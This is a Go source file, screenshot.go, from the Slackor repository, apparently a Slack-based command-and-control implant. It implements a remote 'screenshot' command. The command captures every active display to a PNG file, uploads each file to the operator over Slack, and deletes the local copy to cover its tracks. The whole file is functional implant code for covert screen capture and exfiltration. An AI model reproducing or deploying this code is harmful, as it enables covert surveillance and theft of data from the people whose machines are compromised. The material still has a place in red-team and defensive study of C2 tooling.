github.com/n00py/Slackor@v0.0.0-20200610224921-d007fcea1740/pkg/common/screenshot.go (about) 1 // +build !darwin 2 // +build amd64 3 4 // TODO: Screenshots on darwin are disabled since it doesn't reliably cross-compile. Fix later. 5 6 package common 7 8 import ( 9 "image/png" 10 "math/rand" 11 "os" 12 "strconv" 13 "time" 14 15 "github.com/kbinani/screenshot" 16 "github.com/n00py/Slackor/internal/slack" 17 ) 18 19 func randomString(len int) string { //Creates a random string of uppercase letters 20 bytes := make([]byte, len) 21 for i := 0; i < len; i++ { 22 bytes[i] = byte(65 + rand.Intn(25)) //A=65 and Z = 65+25 23 } 24 return string(bytes) 25 } 26 27 // Screenshot takes screenshot(s) and uploads them 28 type Screenshot struct{} 29 30 // Name is the name of the command 31 func (s Screenshot) Name() string { 32 return "screenshot" 33 } 34 35 // Run takes screenshot(s) and uploads them 36 func (s Screenshot) Run(clientID string, jobID string, args []string) (string, error) { 37 n := screenshot.NumActiveDisplays() 38 rand.Seed(time.Now().UTC().UnixNano()) 39 for i := 0; i < n; i++ { 40 bounds := screenshot.GetDisplayBounds(i) 41 img, _ := screenshot.CaptureRect(bounds) 42 screen, _ := os.Create(clientID + "_" + strconv.Itoa(i) + "_" + string(time.Now().Format("20060102150405")) + ".png") 43 png.Encode(screen, img) 44 screen.Close() 45 err := slack.Upload(clientID, randomString(5), screen.Name()) 46 if err != nil { 47 return "", err 48 } 49 os.Remove(string(screen.Name())) 50 } 51 return "Screenshot(s) uploaded.", nil 52 }